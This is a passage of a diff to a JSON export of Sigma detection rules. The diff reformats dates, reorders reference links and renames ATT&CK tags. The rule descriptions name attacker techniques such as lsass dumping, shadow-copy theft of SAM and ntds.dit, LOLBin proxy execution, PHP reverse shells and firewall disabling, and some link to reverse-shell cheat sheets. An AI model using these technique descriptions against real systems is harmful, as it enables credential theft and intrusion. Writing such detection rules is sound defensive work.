"attack.privilege_escalation", + "attack.defense-evasion", + "attack.credential-access", + "attack.privilege-escalation", "attack.t1562.002", "attack.t1547.001", "attack.t1505.005", @@ -23929,7 +23895,7 @@ "description": "Detects the usage of the \"Squirrel.exe\" to download arbitrary files. This binary is part of multiple Electron based software installations (Slack, Teams, Discord, etc.)\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Karneades / Markus Neis, Jonhnathan Ribeiro, oscd.community", - "creation_date": "2022/06/09", + "creation_date": "2022-06-09", "falsepositive": [ "Expected FP with some Electron based applications such as (1Clipboard, Beaker Browser, Caret, Discord, GitHub Desktop, etc.)" ], @@ -23938,13 +23904,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Squirrel/", - "http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/", "http://www.hexacorn.com/blog/2019/03/30/sqirrel-packages-manager-as-a-lolbin-a-k-a-many-electron-apps-are-lolbins-by-default/", + "http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Squirrel/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_squirrel_download.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution", "attack.t1218" ] @@ -23965,7 +23931,7 @@ "description": "Detects execution of \"odbcconf\" with the \"INSTALLDRIVER\" action where the driver doesn't contain a \".dll\" extension. This is often used as a defense evasion method.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/23", + "creation_date": "2023-05-23", "falsepositive": [ "Unlikely" ], @@ -23974,13 +23940,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/", "https://web.archive.org/web/20191023232753/https://twitter.com/Hexacorn/status/1187143326673330176", "https://www.hexacorn.com/blog/2020/08/23/odbcconf-lolbin-trifecta/", - "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_odbcconf_driver_install_susp.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.008" ] }, @@ -24000,7 +23966,7 @@ "description": "Detects usage of the \"systeminfo\" command to retrieve information", "meta": { "author": "frack113", - "creation_date": "2022/01/01", + "creation_date": "2022-01-01", "falsepositive": [ "Unknown" ], @@ -24009,8 +23975,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/systeminfo", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-1---system-information-discovery", + "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/systeminfo", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_systeminfo_execution.yml" ], "tags": [ @@ -24034,7 +24000,7 @@ "description": "Detects potentially suspicious execution of the Regasm/Regsvcs utilities from a potentially suspicious location", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/25", + "creation_date": "2022-08-25", "falsepositive": [ "Unknown" ], @@ -24043,13 +24009,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/", "https://lolbas-project.github.io/lolbas/Binaries/Regasm/", + "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/", "https://www.fortiguard.com/threat-signal-report/4718?s=09", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regasm_regsvcs_uncommon_location_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.009" ] }, @@ -24069,7 +24035,7 @@ "description": "Executes arbitrary PowerShell code using SyncAppvPublishingServer.vbs", "meta": { "author": "frack113", - "creation_date": "2021/07/16", + "creation_date": "2021-07-16", "falsepositive": [ "Unknown" ], @@ -24078,12 +24044,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1216/T1216.md", + "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_vbs_execute_psh.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218", "attack.t1216" ] @@ -24111,7 +24077,7 @@ "description": "Remote.exe is part of WinDbg in the Windows SDK and can be used for AWL bypass and running remote files.", "meta": { "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", - "creation_date": "2022/06/02", + "creation_date": "2022-06-02", "falsepositive": [ "Approved installs of Windows SDK with Debugging Tools for Windows (WinDbg)." ], @@ -24125,7 +24091,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_remote.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1127" ] }, @@ -24145,7 +24111,7 @@ "description": "Detects execution of Windows Defender \"OfflineScannerShell.exe\" from its non standard directory.\nThe \"OfflineScannerShell.exe\" binary is vulnerable to DLL side loading and will load any DLL named \"mpclient.dll\" from the current working directory.\n", "meta": { "author": "frack113", - "creation_date": "2022/03/06", + "creation_date": "2022-03-06", "falsepositive": [ "Unknown" ], @@ -24158,7 +24124,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_offlinescannershell_mpclient_sideloading.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -24178,7 +24144,7 @@ "description": "Detects the execution of a renamed version of the Plink binary", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/06/06", + "creation_date": "2022-06-06", "falsepositive": [ "Unknown" ], @@ -24192,7 +24158,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_plink.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036" ] }, @@ -24212,7 +24178,7 @@ "description": "Detects the presence of the keywords \"Wscript\", \"Shell\" and \"Run\" in the command, which could indicate a suspicious activity", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/31", + "creation_date": "2022-08-31", "falsepositive": [ "Inline scripting can be used by some rare third party applications or administrators. Investigate and apply additional filters accordingly" ], @@ -24246,7 +24212,7 @@ "description": "Detects uncommon \"userinit.exe\" child processes, which could be a sign of uncommon shells or login scripts used for persistence.", "meta": { "author": "Tom Ueltschi (@c_APT_ure), Tim Shelton", - "creation_date": "2019/01/12", + "creation_date": "2019-01-12", "falsepositive": [ "Legitimate logon scripts or custom shells may trigger false positives. Apply additional filters accordingly." ], @@ -24255,8 +24221,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://cocomelonc.github.io/persistence/2022/12/09/malware-pers-20.html", "https://learn.microsoft.com/en-us/windows-server/administration/server-core/server-core-sconfig#powershell-is-the-default-shell-on-server-core", + "https://cocomelonc.github.io/persistence/2022/12/09/malware-pers-20.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_userinit_uncommon_child_processes.yml" ], "tags": [ @@ -24280,7 +24246,7 @@ "description": "Detects the execution of PingCastle, a tool designed to quickly assess the Active Directory security level via a script located in a potentially suspicious or uncommon location.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), X__Junior (Nextron Systems)", - "creation_date": "2024/01/11", + "creation_date": "2024-01-11", "falsepositive": [ "Unknown" ], @@ -24289,13 +24255,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/", - "https://github.com/projectHULK/AD_Recon/blob/dde2daba9b3393a9388cbebda87068972cc0bd3b/SecurityAssessment.ps1#L2699", - "https://github.com/EvotecIT/TheDashboard/blob/481a9ce8f82f2fd55fe65220ee6486bae6df0c9d/Examples/RunReports/PingCastle.ps1", - "https://github.com/802-1x/Compliance/blob/2e53df8b6e89686a0b91116b3f42c8f717dca820/Ping%20Castle/Get-PingCastle-HTMLComplianceReport.ps1#L8", "https://github.com/vletoux/pingcastle", + "https://github.com/802-1x/Compliance/blob/2e53df8b6e89686a0b91116b3f42c8f717dca820/Ping%20Castle/Get-PingCastle-HTMLComplianceReport.ps1#L8", + "https://github.com/projectHULK/AD_Recon/blob/dde2daba9b3393a9388cbebda87068972cc0bd3b/SecurityAssessment.ps1#L2699", "https://github.com/fengjixuchui/Start-ADEnum/blob/e237a739db98b6104427d833004836507da36a58/Functions/Start-ADEnum.ps1#L450", "https://github.com/lkys37en/Start-ADEnum/blob/5b42c54215fe5f57fc59abc52c20487d15764005/Functions/Start-ADEnum.ps1#L680", + "https://github.com/EvotecIT/TheDashboard/blob/481a9ce8f82f2fd55fe65220ee6486bae6df0c9d/Examples/RunReports/PingCastle.ps1", + "https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_pingcastle_script_parent.yml" ], "tags": [ @@ -24319,7 +24285,7 @@ "description": "Detects a suspicious process spawning a Chromium based browser process with the 'load-extension' flag to start an instance with a custom extension", "meta": { "author": "Aedan Russell, frack113, X__Junior (Nextron Systems)", - "creation_date": "2022/06/19", + "creation_date": "2022-06-19", "falsepositive": [ "Unknown" ], @@ -24328,9 +24294,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://redcanary.com/blog/chromeloader/", "https://emkc.org/s/RJjuLa", "https://www.mandiant.com/resources/blog/lnk-between-browsers", - "https://redcanary.com/blog/chromeloader/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browsers_chromium_susp_load_extension.yml" ], "tags": [ @@ -24354,7 +24320,7 @@ "description": "Detects wmiexec/dcomexec/atexec/smbexec from Impacket framework", "meta": { "author": "Ecco, oscd.community, Jonhnathan Ribeiro, Tim Rauch", - "creation_date": "2019/09/03", + "creation_date": "2019-09-03", "falsepositive": [ "Unknown" ], @@ -24363,17 +24329,17 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/smbexec.py", + "https://www.elastic.co/guide/en/security/current/suspicious-cmd-execution-via-wmi.html", "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/wmiexec.py", + "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/smbexec.py", "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/atexec.py", "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/dcomexec.py", - "https://www.elastic.co/guide/en/security/current/suspicious-cmd-execution-via-wmi.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_impacket_lateral_movement.yml" ], "tags": [ "attack.execution", "attack.t1047", - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.003" ] }, @@ -24400,7 +24366,7 @@ "description": "Detects execution of regsvr32 where the DLL is located in a potentially suspicious location.", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/26", + "creation_date": "2023-05-26", "falsepositive": [ "Some installers might execute \"regsvr32\" with DLLs located in %TEMP% or in %PROGRAMDATA%. Apply additional filters if necessary." ], @@ -24409,12 +24375,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/", "https://web.archive.org/web/20171001085340/https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html", + "https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regsvr32_susp_exec_path_1.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.010" ] }, @@ -24434,7 +24400,7 @@ "description": "Detects the presence of the keywords \"lsass\" and \".dmp\" in the commandline, which could indicate a potential attempt to dump or create a dump of the lsass process.\n", "meta": { "author": "E.M. Anhaus, Tony Lambert, oscd.community, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2019/10/24", + "creation_date": "2019-10-24", "falsepositive": [ "Unlikely" ], @@ -24443,16 +24409,16 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/windows/credential_access_lsass_memdump_file_created.toml", "https://github.com/helpsystems/nanodump", + "https://github.com/CCob/MirrorDump", + "https://www.whiteoaksecurity.com/blog/attacks-defenses-dumping-lsass-no-mimikatz/", "https://medium.com/@markmotig/some-ways-to-dump-lsass-exe-c4a75fdc49bf", "https://github.com/Hackndo/lsassy", - "https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/windows/credential_access_lsass_memdump_file_created.toml", - "https://www.whiteoaksecurity.com/blog/attacks-defenses-dumping-lsass-no-mimikatz/", - "https://github.com/CCob/MirrorDump", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_lsass_dmp_cli_keywords.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001" ] }, @@ -24472,7 +24438,7 @@ "description": "Attackers can use print.exe for remote file copy", "meta": { "author": "Furkan CALISKAN, @caliskanfurkan_, @oscd_initiative", - "creation_date": "2020/10/05", + "creation_date": "2020-10-05", "falsepositive": [ "Unknown" ], @@ -24481,12 +24447,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/Oddvarmoe/status/985518877076541440", "https://lolbas-project.github.io/lolbas/Binaries/Print/", + "https://twitter.com/Oddvarmoe/status/985518877076541440", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_print_remote_file_copy.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -24506,7 +24472,7 @@ "description": "Detects the use of SharpUp, a tool for local privilege escalation", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/08/20", + "creation_date": "2022-08-20", "falsepositive": [ "Unknown" ], @@ -24519,7 +24485,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharpup.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1615", "attack.t1569.002", "attack.t1574.005" @@ -24555,7 +24521,7 @@ "description": "Detects execution of php using the \"-r\" flag. This is could be used as a way to launch a reverse shell or execute live php code.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/02", + "creation_date": "2023-01-02", "falsepositive": [ "Unknown" ], @@ -24564,9 +24530,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.php.net/manual/en/features.commandline.php", - "https://www.revshells.com/", "https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet", + "https://www.revshells.com/", + "https://www.php.net/manual/en/features.commandline.php", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_php_inline_command_execution.yml" ], "tags": [ @@ -24590,7 +24556,7 @@ "description": "Detects potentially suspicious file downloads directly from IP addresses using Wget.exe", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/07/27", + "creation_date": "2023-07-27", "falsepositive": [ "Unknown" ], @@ -24613,7 +24579,7 @@ "description": "Detects when a possible suspicious driver is being installed via pnputil.exe lolbin", "meta": { "author": "Hai Vaknin @LuxNoBulIshit, Avihay eldad @aloneliassaf, Austin Songer @austinsonger", - "creation_date": "2021/09/30", + "creation_date": "2021-09-30", "falsepositive": [ "Pnputil.exe being used may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", @@ -24624,8 +24590,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/pnputil-command-syntax", "https://strontic.github.io/xcyclopedia/library/pnputil.exe-60EDC5E6BDBAEE441F2E3AEACD0340D2.html", + "https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/pnputil-command-syntax", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_driver_installed_by_pnputil.yml" ], "tags": [ @@ -24649,7 +24615,7 @@ "description": "Detects suspicious IIS native-code module installations via command line", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2019/12/11", + "creation_date": "2019-12-11", "falsepositive": [ "Unknown as it may vary from organisation to organisation how admins use to install IIS modules" ], @@ -24658,8 +24624,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/", "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/", + "https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_appcmd_susp_module_install.yml" ], "tags": [ @@ -24683,7 +24649,7 @@ "description": "An adversary may use legitimate desktop support and remote access software,to establish an interactive command and control channel to target systems within networks", "meta": { "author": "frack113", - "creation_date": "2022/10/02", + "creation_date": "2022-10-02", "falsepositive": [ "Legitimate use" ], @@ -24696,7 +24662,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ultravnc.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1219" ] }, @@ -24716,7 +24682,7 @@ "description": "Detects the execution of \"whoami.exe\" with the \"/all\" flag", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/12/04", + "creation_date": "2023-12-04", "falsepositive": [ "Unknown" ], @@ -24726,8 +24692,8 @@ "logsource.product": "windows", "refs": [ "https://www.youtube.com/watch?v=DsJ9ByX84o4&t=6s", - "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/", "https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/", + "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_all_execution.yml" ], "tags": [ @@ -24752,7 +24718,7 @@ "description": "Detects execution of \"ftp.exe\" script with the \"-s\" or \"/s\" flag and any child processes ran by \"ftp.exe\".", "meta": { "author": "Victor Sergeev, oscd.community", - "creation_date": "2020/10/09", + "creation_date": "2020-10-09", "falsepositive": [ "Unknown" ], @@ -24767,7 +24733,7 @@ "tags": [ "attack.execution", "attack.t1059", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1202" ] }, @@ -24794,7 +24760,7 @@ "description": "Detects a command that accesses the VolumeShadowCopy in order to extract sensitive files such as the Security or SAM registry hives or the AD database (ntds.dit)\n", "meta": { "author": "Max Altgelt (Nextron Systems), Tobias Michalski (Nextron Systems)", - "creation_date": "2021/08/09", + "creation_date": "2021-08-09", "falsepositive": [ "Unlikely" ], @@ -24803,9 +24769,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/", "https://twitter.com/vxunderground/status/1423336151860002816?s=20", "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", + "https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_sensitive_file_access_shadowcopy.yml" ], "tags": [ @@ -24829,7 +24795,7 @@ "description": "Detects potential LethalHTA technique where the \"mshta.exe\" is spawned by an \"svchost.exe\" process", "meta": { "author": "Markus Neis", - "creation_date": "2018/06/07", + "creation_date": "2018-06-07", "falsepositive": [ "Unknown" ], @@ -24842,7 +24808,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_lethalhta_technique.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.005" ] }, @@ -24862,7 +24828,7 @@ "description": "Detects the execution of an Office application that points to a document that is located in a trusted location. Attackers often used this to avoid macro security and execute their malicious code.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/06/21", + "creation_date": "2023-06-21", "falsepositive": [ "Unknown" ], @@ -24872,13 +24838,13 @@ "logsource.product": "windows", "refs": [ "https://techcommunity.microsoft.com/t5/microsoft-365-blog/new-security-hardening-policies-for-trusted-documents/ba-p/3023465", - "https://twitter.com/_JohnHammond/status/1588155401752788994", "https://twitter.com/Max_Mal_/status/1633863678909874176", "Internal Research", + "https://twitter.com/_JohnHammond/status/1588155401752788994", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_exec_from_trusted_locations.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1202" ] }, @@ -24898,7 +24864,7 @@ "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", "meta": { "author": "frack113", - "creation_date": "2022/02/11", + "creation_date": "2022-02-11", "falsepositive": [ "Legitimate use" ], @@ -24911,7 +24877,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_anydesk.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1219" ] }, @@ -24931,7 +24897,7 @@ "description": "Detects potentially suspicious child process of applications launched from inside the WindowsApps directory. This could be a sign of a rogue \".appx\" package installation/execution", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/12", + "creation_date": "2023-01-12", "falsepositive": [ "Legitimate packages that make use of external binaries such as Windows Terminal" ], @@ -24945,7 +24911,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_appx_execution.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "f91ed517-a6ba-471d-9910-b3b4a398c0f3", @@ -24955,7 +24921,7 @@ "description": "Detects potential commandline obfuscation using unicode characters.\nAdversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.\n", "meta": { "author": "frack113, Florian Roth (Nextron Systems)", - "creation_date": "2022/01/15", + "creation_date": "2022-01-15", "falsepositive": [ "Unknown" ], @@ -24969,7 +24935,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cli_obfuscation_unicode.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027" ] }, @@ -24989,7 +24955,7 @@ "description": "Detects the use of a Microsoft signed script 'REGISTER_APP.VBS' to register a VSS/VDS Provider as a COM+ application.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/19", + "creation_date": "2022-08-19", "falsepositive": [ "Legitimate usage of the script. Always investigate what's being registered to confirm if it's benign" ], @@ -25002,7 +24968,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_register_app.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -25022,7 +24988,7 @@ "description": "Adversaries may enumerate browser bookmarks to learn more about compromised hosts.\nBrowser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about\ninternal network resources such as servers, tools/dashboards, or other related infrastructure.\n", "meta": { "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2021/12/13", + "creation_date": "2021-12-13", "falsepositive": [ "Unknown" ], @@ -25055,7 +25021,7 @@ "description": "Detects potential tampering with Windows Defender settings such as adding exclusion using wmic", "meta": { "author": "frack113", - "creation_date": "2022/12/11", + "creation_date": "2022-12-11", "falsepositive": [ "Unknown" ], @@ -25064,13 +25030,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/5c1e6f1b4fafd01c8d1ece85f510160fc1275fbf/atomics/T1562.001/T1562.001.md", "https://www.bleepingcomputer.com/news/security/iobit-forums-hacked-to-spread-ransomware-to-its-members/", "https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/", - "https://github.com/redcanaryco/atomic-red-team/blob/5c1e6f1b4fafd01c8d1ece85f510160fc1275fbf/atomics/T1562.001/T1562.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_namespace_defender.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1546.008" ] }, @@ -25090,7 +25056,7 @@ "description": "Detects netsh commands that turns off the Windows firewall", "meta": { "author": "Fatih Sirin", - "creation_date": "2019/11/01", + "creation_date": "2019-11-01", "falsepositive": [ "Legitimate administration activity" ], @@ -25099,13 +25065,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.winhelponline.com/blog/enable-and-disable-windows-firewall-quickly-using-command-line/", "https://app.any.run/tasks/210244b9-0b6b-4a2c-83a3-04bd3175d017/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md#atomic-test-1---disable-microsoft-defender-firewall", + "https://www.winhelponline.com/blog/enable-and-disable-windows-firewall-quickly-using-command-line/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_disable.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.004", "attack.s0108" ] @@ -25126,7 +25092,7 @@ "description": "Detects Crassus, a Windows privilege escalation discovery tool, based on PE metadata characteristics.", "meta": { "author": "pH-T (Nextron Systems)", - "creation_date": "2023/04/17", + "creation_date": "2023-04-17", "falsepositive": [ "Unlikely" ], @@ -25159,7 +25125,7 @@ "description": "Detects chromium based browsers starting in headless and debugging mode and pointing to a user profile. This could be a sign of data stealing or remote control", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/12/23", + "creation_date": "2022-12-23", "falsepositive": [ "Unknown" ], @@ -25169,13 +25135,13 @@ "logsource.product": "windows", "refs": [ "https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/", - "https://mango.pdf.zone/stealing-chrome-cookies-without-a-password", "https://github.com/defaultnamehere/cookie_crimes/", "https://embracethered.com/blog/posts/2020/cookie-crimes-on-mirosoft-edge/", + "https://mango.pdf.zone/stealing-chrome-cookies-without-a-password", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browsers_chromium_headless_debugging.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1185" ] }, @@ -25195,7 +25161,7 @@ "description": "Detects ScreenConnect program starts that establish a remote access to a system.", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/02/11", + "creation_date": "2021-02-11", "falsepositive": [ "Legitimate use by administrative staff" ], @@ -25208,7 +25174,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_screenconnect_installation_cli_param.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1133" ] }, @@ -25228,7 +25194,7 @@ "description": "Detects a \"Get-Process\" cmdlet and it's aliases on lsass process, which is in almost all cases a sign of malicious activity", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/04/23", + "creation_date": "2021-04-23", "falsepositive": [ "Unknown" ], @@ -25237,11 +25203,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/PythonResponder/status/1385064506049630211", + "https://web.archive.org/web/20220205033028/https://twitter.com/PythonResponder/status/1385064506049630211", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_getprocess_lsass.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1552.004" ] }, @@ -25261,7 +25227,7 @@ "description": "Detects the execution of sigverif binary as a parent process which could indicate it being used as a LOLBIN to proxy execution", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/19", + "creation_date": "2022-08-19", "falsepositive": [ "Unknown" ], @@ -25275,7 +25241,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_sigverif.yml" ], "tags": [ - "attack.defense_evasion", + 